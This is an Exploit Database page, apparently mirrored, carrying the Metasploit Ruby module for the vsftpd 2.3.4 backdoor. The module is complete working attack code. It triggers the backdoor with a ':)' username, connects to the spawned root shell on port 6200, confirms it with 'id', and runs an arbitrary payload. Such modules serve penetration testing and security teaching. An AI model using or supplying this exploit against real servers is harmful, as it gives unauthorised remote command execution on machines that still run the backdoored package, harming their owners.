vsftpd 2.3.4 – Backdoor Command Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2011-07-05
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/17491/

• ##
  # $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
  			'Description'=> %q{
  					This module exploits a malicious backdoor that was added to the	VSFTPD download
  					archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
  					June 30th 2011 and July 1st 2011 according to the most recent information
  					available. This backdoor was removed on July 3rd 2011.
  			},
  			'Author' => [ 'hdm', 'mc' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 13099 $',
  			'References' =>
  				[
  					[ 'URL', 'http://pastebin.com/AetT9sS5'],
  					[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
  				],
  			'Privileged' => true,
  			'Platform' => [ 'unix' ],
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space'=> 2000,
  					'BadChars' => '',
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType'=> 'cmd_interact',
  							'ConnectionType' => 'find'
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic', { } ],
  				],
  			'DisclosureDate' => 'Jul 3 2011',
  			'DefaultTarget' => 0))
  
  		register_options([ Opt::RPORT(21) ], self.class)
  	end
  
  	def exploit
  
  		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
  		if nsock
  			print_status("The port used by the backdoor bind listener is already open")
  			handle_backdoor(nsock)
  			return
  		end
  
  		# Connect to the FTP service port first
  		connect
  
  		banner = sock.get_once(-1, 30).to_s
  		print_status("Banner: #{banner.strip}")
  
  		sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
  		resp = sock.get_once(-1, 30).to_s
  		print_status("USER: #{resp.strip}")
  
  		if resp =~ /^530 /
  			print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
  			disconnect
  			return
  		end
  
  		if resp !~ /^331 /
  			print_error("This server did not respond as expected: #{resp.strip}")
  			disconnect
  			return
  		end
  
  		sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
  
  		# Do not bother reading the response from password, just try the backdoor
  		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
  		if nsock
  			print_good("Backdoor service has been spawned, handling...")
  			handle_backdoor(nsock)
  			return
  		end
  
  		disconnect
  
  	end
  
  	def handle_backdoor(s)
  
  		s.put("id\n")
  
  		r = s.get_once(-1, 5).to_s
  		if r !~ /uid=/
  			print_error("The service on port 6200 does not appear to be a shell")
  			disconnect(s)
  			return
  		end
  
  		print_good("UID: #{r.strip}")
  
  		s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
  		handler(s)
  	end
  
  end